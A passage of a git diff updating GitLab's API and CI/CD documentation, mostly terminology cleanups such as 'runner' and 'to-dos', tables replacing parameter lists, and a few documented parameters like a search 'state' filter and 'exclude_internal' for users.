+## Delete a registered runner -Deletes a registered Runner. +Deletes a registered runner. ```plaintext DELETE /runners @@ -602,9 +602,9 @@ Response: |-----------|---------------------------------| | 204 | Runner was deleted | -## Verify authentication for a registered Runner +## Verify authentication for a registered runner -Validates authentication credentials for a registered Runner. +Validates authentication credentials for a registered runner. ```plaintext POST /runners/verify diff --git a/doc/api/search.md b/doc/api/search.md index 4c87a826ca8..cb90b9a064c 100644 --- a/doc/api/search.md +++ b/doc/api/search.md @@ -23,6 +23,7 @@ GET /search | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| | `scope` | string | yes | The scope to search in | | `search` | string | yes | The search query | +| `state` | string | no | Filter by state. Issues and merge requests are supported; it is ignored for other scopes. | Search the expression within the specified scope. Currently these scopes are supported: projects, issues, merge_requests, milestones, snippet_titles, users. @@ -397,6 +398,7 @@ GET /groups/:id/search | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user | | `scope` | string | yes | The scope to search in | | `search` | string | yes | The search query | +| `state` | string | no | Filter by state. Issues and merge requests are supported; it is ignored for other scopes. | Search the expression within the specified scope. Currently these scopes are supported: projects, issues, merge_requests, milestones, users. @@ -741,6 +743,7 @@ GET /projects/:id/search | `scope` | string | yes | The scope to search in | | `search` | string | yes | The search query | | `ref` | string | no | The name of a repository branch or tag to search on. The project's default branch is used by default. This is only applicable for scopes: commits, blobs, and wiki_blobs. | +| `state` | string | no | Filter by state. Issues and merge requests are supported; it is ignored for other scopes. | Search the expression within the specified scope. Currently these scopes are supported: issues, merge_requests, milestones, notes, wiki_blobs, commits, blobs, users. diff --git a/doc/api/services.md b/doc/api/services.md index 25ad025027a..405047a433d 100644 --- a/doc/api/services.md +++ b/doc/api/services.md @@ -807,7 +807,7 @@ Parameters: | `username` | string | yes | The username of the user created to be used with GitLab/Jira. | | `password` | string | yes | The password of the user created to be used with GitLab/Jira. | | `active` | boolean | no | Activates or deactivates the service. Defaults to false (deactivated). | -| `jira_issue_transition_id` | string | no | The ID of a transition that moves issues to a closed state. You can find this number under the Jira workflow administration (**Administration > Issues > Workflows**) by selecting **View** under **Operations** of the desired workflow of your project. The ID of each state can be found inside the parenthesis of each transition name under the **Transitions (id)** column. By default, this ID is set to `2`. | +| `jira_issue_transition_id` | string | no | The ID of a transition that moves issues to a closed state. You can find this number under the Jira workflow administration (**Administration > Issues > Workflows**) by selecting **View** under **Operations** of the desired workflow of your project. The ID of each state can be found inside the parenthesis of each transition name under the transitions ID column. By default, this ID is set to `2`. | | `commit_events` | boolean | false | Enable notifications for commit events | | `merge_requests_events` | boolean | false | Enable notifications for merge request events | | `comment_on_event_enabled` | boolean | false | Enable comments inside Jira issues on each GitLab event (commit / merge request) | diff --git a/doc/api/settings.md b/doc/api/settings.md index 64c529b0222..c8a466d1fcd 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -61,7 +61,6 @@ Example response: "enforce_terms": true, "terms": "Hello world!", "performance_bar_allowed_group_id": 42, - "instance_statistics_visibility_private": false, "user_show_add_ssh_key_message": true, "local_markdown_version": 0, "allow_local_requests_from_hooks_and_services": true, @@ -151,7 +150,6 @@ Example response: "enforce_terms": true, "terms": "Hello world!", "performance_bar_allowed_group_id": 42, - "instance_statistics_visibility_private": false, "user_show_add_ssh_key_message": true, "file_template_project_id": 1, "local_markdown_version": 0, @@ -285,7 +283,6 @@ are listed in the descriptions of the relevant settings. | `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | | `html_emails_enabled` | boolean | no | Enable HTML emails. | | `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `google_code`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | -| `instance_statistics_visibility_private` | boolean | no | When set to `true` Instance statistics will only be available to admins. | | `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.| | `local_markdown_version` | integer | no | Increase this value when any cached Markdown should be invalidated. | | `maintenance_mode_message` | string | no | **(PREMIUM)** Message displayed when instance is in maintenance mode | @@ -332,7 +329,7 @@ are listed in the descriptions of the relevant settings. | `send_user_confirmation_email` | boolean | no | Send confirmation email on sign-up. | | `session_expire_delay` | integer | no | Session duration in minutes. GitLab restart is required to apply changes | | `shared_runners_enabled` | boolean | no | (**If enabled, requires:** `shared_runners_text` and `shared_runners_minutes`) Enable shared runners for new projects. | -| `shared_runners_minutes` | integer | required by: `shared_runners_enabled` | **(PREMIUM)** Set the maximum number of pipeline minutes that a group can use on shared Runners per month. | +| `shared_runners_minutes` | integer | required by: `shared_runners_enabled` | **(PREMIUM)** Set the maximum number of pipeline minutes that a group can use on shared runners per month. | | `shared_runners_text` | string | required by: `shared_runners_enabled` | Shared runners text. | | `sign_in_text` | string | no | Text on the login page. | | `signin_enabled` | string | no | (Deprecated: Use `password_authentication_enabled_for_web` instead) Flag indicating if password authentication is enabled for the web interface. | @@ -346,7 +343,6 @@ are listed in the descriptions of the relevant settings. | `snowplow_collector_hostname` | string | required by: `snowplow_enabled` | The Snowplow collector hostname. (for example, `snowplow.trx.gitlab.net`) | | `snowplow_cookie_domain` | string | no | The Snowplow cookie domain. (for example, `.gitlab.com`) | | `snowplow_enabled` | boolean | no | Enable snowplow tracking. | -| `snowplow_iglu_registry_url` | string | no | The Snowplow base Iglu Schema Registry URL to use for custom context and self describing events'| | `sourcegraph_enabled` | boolean | no | Enables Sourcegraph integration. Default is `false`. **If enabled, requires** `sourcegraph_url`. | | `sourcegraph_public_only` | boolean | no | Blocks Sourcegraph from being loaded on private and internal projects. Default is `true`. | | `sourcegraph_url` | string | required by: `sourcegraph_enabled` | The Sourcegraph instance URL for integration. | diff --git a/doc/api/sidekiq_metrics.md b/doc/api/sidekiq_metrics.md index 95acc992789..caa02412a28 100644 --- a/doc/api/sidekiq_metrics.md +++ b/doc/api/sidekiq_metrics.md @@ -1,4 +1,4 @@ -# Sidekiq Metrics API +# Sidekiq Metrics API **(CORE ONLY)** > Introduced in GitLab 8.9. diff --git a/doc/api/snippets.md b/doc/api/snippets.md index 0cdc07b1f46..6863763ff24 100644 --- a/doc/api/snippets.md +++ b/doc/api/snippets.md @@ -169,9 +169,9 @@ Parameters: | Attribute | Type | Required | Description | |:------------|:--------|:---------|:-------------------------------------------------------------------| -| `id` | integer | yes | ID of snippet to retrieve | -| `ref` | string | yes | Reference to a tag, branch or commit | -| `file_path` | string | yes | URL-encoded path to the file | +| `id` | integer | yes | ID of snippet to retrieve. | +| `ref` | string | yes | Reference to a tag, branch or commit. | +| `file_path` | string | yes | URL-encoded path to the file. | Example request: diff --git a/doc/api/tags.md b/doc/api/tags.md index cf6cfd25dbb..8584de83357 100644 --- a/doc/api/tags.md +++ b/doc/api/tags.md @@ -117,11 +117,13 @@ POST /projects/:id/repository/tags Parameters: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `tag_name` (required) - The name of a tag -- `ref` (required) - Create tag using commit SHA, another tag name, or branch name. -- `message` (optional) - Creates annotated tag. -- `release_description` (optional) - Add release notes to the Git tag and store it in the GitLab database. +| Attribute | Type | Required | Description | +| --------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `tag_name` | string | yes | The name of a tag | +| `ref` | string | yes | Create tag using commit SHA, another tag name, or branch name | +| `message` | string | no | Creates annotated tag | +| `release_description` | string | no | Add release notes to the Git tag and store it in the GitLab database | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/tags?tag_name=test&ref=master" @@ -177,8 +179,10 @@ DELETE /projects/:id/repository/tags/:tag_name Parameters: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `tag_name` (required) - The name of a tag +| Attribute | Type | Required | Description | +| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `tag_name` | string | yes | The name of a tag | ## Create a new release @@ -191,8 +195,10 @@ POST /projects/:id/repository/tags/:tag_name/release Parameters: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `tag_name` (required) - The name of a tag +| Attribute | Type | Required | Description | +| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `tag_name` | string | yes | The name of a tag | Request body: @@ -223,8 +229,10 @@ PUT /projects/:id/repository/tags/:tag_name/release Parameters: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `tag_name` (required) - The name of a tag +| Attribute | Type | Required | Description | +| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `tag_name` | string | yes | The name of a tag | Request body: diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md index 2fa3d7b7fa1..e579300a2fd 100644 --- a/doc/api/templates/dockerfiles.md +++ b/doc/api/templates/dockerfiles.md @@ -124,7 +124,7 @@ Example response: ```json { "name": "Binary", - "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:jessie\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n" + "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:buster\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n" } ``` diff --git a/doc/api/todos.md b/doc/api/todos.md index 9d56522c5b8..ebe10ecbd49 100644 --- a/doc/api/todos.md +++ b/doc/api/todos.md @@ -4,13 +4,13 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Todos API +# To-dos API > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3188) in GitLab 8.10. -## Get a list of todos +## Get a list of to-dos -Returns a list of todos. When no filter is applied, it returns all pending todos +Returns a list of to-dos. When no filter is applied, it returns all pending to-dos for the current user. Different filters allow the user to precise the request. ```plaintext @@ -21,12 +21,12 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `action` | string | no | The action to be filtered. Can be `assigned`, `mentioned`, `build_failed`, `marked`, `approval_required`, `unmergeable` or `directly_addressed`. | +| `action` | string | no | The action to be filtered. Can be `assigned`, `mentioned`, `build_failed`, `marked`, `approval_required`, `unmergeable`, `directly_addressed` or `merge_train_removed`. | | `author_id` | integer | no | The ID of an author | | `project_id` | integer | no | The ID of a project | | `group_id` | integer | no | The ID of a group | -| `state` | string | no | The state of the todo. Can be either `pending` or `done` | -| `type` | string | no | The type of a todo. Can be either `Issue` or `MergeRequest` | +| `state` | string | no | The state of the to-do. Can be either `pending` or `done` | +| `type` | string | no | The type of a to-do. Can be either `Issue`, `MergeRequest`, `DesignManagement::Design` or `AlertManagement::Alert` | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/todos" @@ -187,10 +187,10 @@ Example Response: ] ``` -## Mark a todo as done +## Mark a to-do as done -Marks a single pending todo given by its ID for the current user as done. The -todo marked as done is returned in the response. +Marks a single pending to-do given by its ID for the current user as done. The +to-do marked as done is returned in the response. ```plaintext POST /todos/:id/mark_as_done @@ -200,7 +200,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of a todo | +| `id` | integer | yes | The ID of a to-do | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/todos/130/mark_as_done" @@ -285,9 +285,9 @@ Example Response: } ``` -## Mark all todos as done +## Mark all to-dos as done -Marks all pending todos for the current user as done. It returns the HTTP status code `204` with an empty response. +Marks all pending to-dos for the current user as done. It returns the HTTP status code `204` with an empty response. ```plaintext POST /todos/mark_as_done diff --git a/doc/api/users.md b/doc/api/users.md index 76075e8b7be..634e0bd0842 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -2,8 +2,6 @@ ## List users -Active users = Total accounts - Blocked users - Get a list of users. This function takes pagination parameters `page` and `per_page` to restrict the list of users. @@ -49,9 +47,9 @@ For example: GET /users?username=jack_smith ``` -In addition, you can filter users based on states eg. `blocked`, `active` -This works only to filter users who are `blocked` or `active`. -It does not support `active=false` or `blocked=false`. +In addition, you can filter users based on the states `blocked` and `active`. +It does not support `active=false` or `blocked=false`. The list of active users +is the total number of users minus the blocked users. ```plaintext GET /users?active=true @@ -61,6 +59,15 @@ GET /users?active=true GET /users?blocked=true ``` +GitLab supports bot users such as the [alert bot](../operations/incident_management/generic_alerts.md) +or the [support bot](../user/project/service_desk.md#support-bot-user). +To exclude these users from the users' list, you can use the parameter `exclude_internal=true` +([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241144) in GitLab 13.4). + +```plaintext +GET /users?exclude_internal=true +``` + NOTE: **Note:** Username search is case insensitive. @@ -767,7 +774,7 @@ POST /user/keys Parameters: -- `title` (required) - new SSH Key's title +- `title` (required) - new SSH key's title - `key` (required) - new SSH key - `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) @@ -806,12 +813,12 @@ POST /users/:id/keys Parameters: - `id` (required) - ID of specified user -- `title` (required) - new SSH Key's title +- `title` (required) - new SSH key's title - `key` (required) - new SSH key - `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) NOTE: **Note:** -This also adds an audit event, as described in [audit instance events](../administration/audit_events.md#instance-events-premium-only). **(PREMIUM)** +This also adds an audit event, as described in [audit instance events](../administration/audit_events.md#instance-events). **(PREMIUM)** ## Delete SSH key for current user diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md index 4571d4d8304..4139438bea0 100644 --- a/doc/api/v3_to_v4.md +++ b/doc/api/v3_to_v4.md @@ -74,8 +74,8 @@ Below are the changes made between V3 and V4. - `POST /projects/:id/trigger/builds` to `POST /projects/:id/trigger/pipeline` - Require description when creating a new trigger `POST /projects/:id/triggers` - Simplify project payload exposed on Environment endpoints [!9675](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9675) -- API uses merge request `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the merge requests, award emoji, todos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530) -- API uses issue `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the issues, award emoji, todos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530) +- API uses merge request `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the merge requests, award emoji, to-dos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530) +- API uses issue `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the issues, award emoji, to-dos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530) - Change initial page from `0` to `1` on `GET /projects/:id/repository/commits` (like on the rest of the API) [!9679](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9679) - Return correct `Link` header data for `GET /projects/:id/repository/commits` [!9679](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9679) - Update endpoints for repository files [!9637](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9637) diff --git a/doc/api/visual_review_discussions.md b/doc/api/visual_review_discussions.md index c9863784038..7e741688949 100644 --- a/doc/api/visual_review_discussions.md +++ b/doc/api/visual_review_discussions.md @@ -10,7 +10,7 @@ type: reference, api > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18710) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.5. Visual Review discussions are notes on Merge Requests sent as -feedback from [Visual Reviews](../ci/review_apps/index.md#visual-reviews-starter). +feedback from [Visual Reviews](../ci/review_apps/index.md#visual-reviews). ## Create new merge request thread diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md index a0d871af127..73c765e2ccc 100644 --- a/doc/api/vulnerabilities.md +++ b/doc/api/vulnerabilities.md @@ -1,3 +1,9 @@ +--- +stage: Secure +group: Threat Insights +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + # Vulnerabilities API **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10242) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6. diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md index 2cb647e797b..d19d41b647e 100644 --- a/doc/api/vulnerability_exports.md +++ b/doc/api/vulnerability_exports.md @@ -1,3 +1,9 @@ +--- +stage: Secure +group: Threat Insights +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + # Vulnerability export API **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/197494) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. [Updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30397) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0. diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md index 96171f0229d..bfb1306e4aa 100644 --- a/doc/api/vulnerability_findings.md +++ b/doc/api/vulnerability_findings.md @@ -1,3 +1,9 @@ +--- +stage: Secure +group: Threat Insights +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + # Vulnerability Findings API **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19029) in GitLab Ultimate 12.5. diff --git a/doc/ci/README.md b/doc/ci/README.md index 6f15fa52550..9d3f7f2a8f2 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -80,36 +80,37 @@ Once you're familiar with how GitLab CI/CD works, see the for all the attributes you can set and use. NOTE: **Note:** -GitLab CI/CD and [shared runners](runners/README.md#shared-runners) are enabled in GitLab.com and available for all users, limited only to the [user's pipelines quota](../user/gitlab_com/index.md#shared-runners). +GitLab CI/CD and [shared runners](runners/README.md#shared-runners) are enabled on GitLab.com and available for all users, limited only by the [pipeline quota](../user/gitlab_com/index.md#shared-runners). ## Concepts GitLab CI/CD uses a number of concepts to describe and run your build and deploy. -| Concept | Description | -|:--------------|:-------------| -| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. | -| [Environment variables](variables/README.md) | Reuse values based on a variable/value key pair. | -| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). | -| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. | -| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | -| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own GitLab Runners to execute your scripts. | +| Concept | Description | +|:--------------------------------------------------------|:-------------------------------------------------------------------------------| +| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. | +| [Environment variables](variables/README.md) | Reuse values based on a variable/value key pair. | +| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). | +| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. | +| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | +| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | +| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and effienctly. | ## Configuration GitLab CI/CD supports numerous configuration options: -| Configuration | Description | -|:--------------|:-------------| -| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | -| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-ci-configuration-path) | Define a custom path for the CI/CD configuration file. | -| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules.| -| [SSH keys for CI/CD](ssh_keys/README.md) | Using SSH keys in your CI pipelines. | -| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | -| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. | -| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. | -| [Optimize GitLab and Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. | -| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. | +| Configuration | Description | +|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| +| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | +| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-ci-configuration-path) | Define a custom path for the CI/CD configuration file. | +| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. | +| [SSH keys for CI/CD](ssh_keys/README.md) | Using SSH keys in your CI pipelines. | +| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | +| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. | +| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. | +| [Optimize GitLab and GitLab Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. | +| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. | Note that certain operations can only be performed according to the [user](../user/permissions.md#gitlab-cicd-permissions) and [job](../user/permissions.md#job-permissions) permissions. @@ -132,7 +133,7 @@ Its feature set is listed on the table below according to DevOps stages. | [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | | [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | | [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | -| [JUnit tests](junit_test_reports.md) | Identify script failures directly on merge requests. | +| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | | [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | |---+---| | **Release** || @@ -191,41 +192,25 @@ been necessary. These are: #### 13.0 -- [Remove Backported - `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915) -- [Remove Fedora 29 package - support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158) -- [Remove macOS 32-bit - support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466) -- [Removed `debug/jobs/list?v=1` - endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361) -- [Remove support for array of strings when defining services for Docker - executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922) -- [Remove `--docker-services` flag on register - command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404) -- [Remove legacy build directory - caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180) -- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature - flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581) -- [Remove support for Windows Server - 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553) +- [Remove Backported `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915). +- [Remove Fedora 29 package support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158). +- [Remove macOS 32-bit support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466). +- [Removed `debug/jobs/list?v=1` endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361). +- [Remove support for array of strings when defining services for Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922). +- [Remove `--docker-services` flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404). +- [Remove legacy build directory caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180). +- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581). +- [Remove support for Windows Server 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553). #### 12.0 -- [Use refspec to clone/fetch Git - repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). -- [Old cache - configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070). -- [Old metrics server - configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072). -- [Remove - `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073). -- [Remove Linux distributions that reach - EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130). -- [Update command line API for helper - images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013). -- [Remove old `git clean` - flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175). +- [Use refspec to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). +- [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070). +- [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072). +- [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073). +- [Remove Linux distributions that reach EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130). +- [Update command line API for helper images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013). +- [Remove old `git clean` flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175). #### 11.0 diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index b6bd01ecf58..50f7d5252d8 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -60,7 +60,7 @@ Caches: - Are disabled if not defined globally or per job (using `cache:`). - Are available for all jobs in your `.gitlab-ci.yml` if enabled globally. - Can be used in subsequent pipelines by the same job in which the cache was created (if not defined globally). -- Are stored where the Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). +- Are stored where GitLab Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). - If defined per job, are used: - By the same job in a subsequent pipeline. - By subsequent jobs in the same pipeline, if they have identical dependencies. @@ -80,33 +80,33 @@ can't link to files outside it. ## Good caching practices We have the cache from the perspective of the developers (who consume a cache -within the job) and the cache from the perspective of the Runner. Depending on -which type of Runner you are using, cache can act differently. +within the job) and the cache from the perspective of the runner. Depending on +which type of runner you are using, cache can act differently. From the perspective of the developer, to ensure maximum availability of the cache, when declaring `cache` in your jobs, use one or a mix of the following: -- [Tag your Runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs +- [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. -- [Use sticky Runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) +- [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) that will be only available to a particular project. - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [CI/CD predefined variables](../variables/README.md#predefined-environment-variables). TIP: **Tip:** -Using the same Runner for your pipeline, is the most simple and efficient way to +Using the same runner for your pipeline, is the most simple and efficient way to cache files in one stage or pipeline, and pass this cache to subsequent stages or pipelines in a guaranteed manner. -From the perspective of the Runner, in order for cache to work effectively, one +From the perspective of the runner, in order for cache to work effectively, one of the following must be true: -- Use a single Runner for all your jobs. -- Use multiple Runners (in autoscale mode or not) that use +- Use a single runner for all your jobs. +- Use multiple runners (in autoscale mode or not) that use [distributed caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching), - where the cache is stored in S3 buckets (like shared Runners on GitLab.com). -- Use multiple Runners (not in autoscale mode) of the same architecture that + where the cache is stored in S3 buckets (like shared runners on GitLab.com). +- Use multiple runners (not in autoscale mode) of the same architecture that share a common network-mounted directory (using NFS or something similar) where the cache will be stored. @@ -179,12 +179,12 @@ You can override cache settings without overwriting the global cache by using ```yaml cache: &global_cache - key: ${CI_COMMIT_REF_SLUG} - paths: - - node_modules/ - - public/ - - vendor/ - policy: pull-push + key: ${CI_COMMIT_REF_SLUG} + paths: + - node_modules/ + - public/ + - vendor/ + policy: pull-push job: cache: @@ -281,7 +281,7 @@ image: python:latest # Change pip's cache directory to be inside the project directory since we can # only cache local items. variables: - PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip" + PIP_CACHE_DIR: 